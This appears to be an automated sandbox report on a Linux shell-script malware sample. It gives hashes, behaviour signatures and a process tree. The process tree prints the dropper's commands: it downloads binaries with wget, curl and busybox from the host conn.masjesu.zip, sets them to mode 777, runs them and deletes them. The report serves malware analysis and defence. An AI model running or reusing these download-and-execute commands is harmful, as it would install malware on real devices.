Analysis

  • max time kernel
    137s
  • max time network
    146s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240729-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240729-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    25/11/2024, 03:03

General

  • Target

    dc47d23aa4295846ad11b368b06c2ae42af57fea4ae0ae42b71075d6b734ad1c.sh

  • Size

    10KB

  • MD5

    7173544124289978f54216cb1135e57e

  • SHA1

    6a580c6df4d8f4bec33e2a5ef892ad699749e1be

  • SHA256

    dc47d23aa4295846ad11b368b06c2ae42af57fea4ae0ae42b71075d6b734ad1c

  • SHA512

    0b0b27b4a2f32252afc968a82914be13709b26997b57f4afa8d2e506f93c335449ec620c7bc124272f36394da2f27e1f1826ad54918142bfc1f4bbbdb0dae737

  • SSDEEP

    192:nUQSy5EdIXldGC294wy9tJ3C294w7Xt9Sy5EdI3:nUYldGC294wyzJ3C294w79r

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 1 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 1 IoCs
  • Reads runtime system information 2 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 6 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 2 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/dc47d23aa4295846ad11b368b06c2ae42af57fea4ae0ae42b71075d6b734ad1c.sh
    /tmp/dc47d23aa4295846ad11b368b06c2ae42af57fea4ae0ae42b71075d6b734ad1c.sh
    1⤵
      PID:715
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:717
        • /usr/bin/wget
          wget http://conn.masjesu.zip/bins/U59jXOydvquUhHn4MKkSAbnLlVezXQJxQT
          2⤵
          • System Network Configuration Discovery
          PID:720
        • /usr/bin/curl
          curl -O http://conn.masjesu.zip/bins/U59jXOydvquUhHn4MKkSAbnLlVezXQJxQT
          2⤵
          • Reads runtime system information
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:739
        • /bin/busybox
          /bin/busybox wget http://conn.masjesu.zip/bins/U59jXOydvquUhHn4MKkSAbnLlVezXQJxQT
          2⤵
          • System Network Configuration Discovery
          PID:824
        • /bin/chmod
          chmod 777 U59jXOydvquUhHn4MKkSAbnLlVezXQJxQT
          2⤵
          • File and Directory Permissions Modification
          PID:825
        • /tmp/U59jXOydvquUhHn4MKkSAbnLlVezXQJxQT
          ./U59jXOydvquUhHn4MKkSAbnLlVezXQJxQT
          2⤵
          • Executes dropped EXE
          PID:826
        • /bin/rm
          rm U59jXOydvquUhHn4MKkSAbnLlVezXQJxQT
          2⤵
            PID:827
          • /usr/bin/wget
            wget http://conn.masjesu.zip/bins/gFfQeXnyA0slYHWDWAt3QOGdl0H6zzPSCM
            2⤵
            • System Network Configuration Discovery
            PID:828
          • /usr/bin/curl
            curl -O http://conn.masjesu.zip/bins/gFfQeXnyA0slYHWDWAt3QOGdl0H6zzPSCM
            2⤵
            • Reads runtime system information
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:829
          • /bin/busybox
            /bin/busybox wget http://conn.masjesu.zip/bins/gFfQeXnyA0slYHWDWAt3QOGdl0H6zzPSCM
            2⤵
            • System Network Configuration Discovery
            PID:831

        Network

              MITRE ATT&CK Enterprise v15

              Replay Monitor

              Loading Replay Monitor...

              Downloads

              • /tmp/U59jXOydvquUhHn4MKkSAbnLlVezXQJxQT

                Filesize

                153B

                MD5

                998368d7c95ea4293237f2320546e440

                SHA1

                30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4

                SHA256

                533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736

                SHA512

                648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97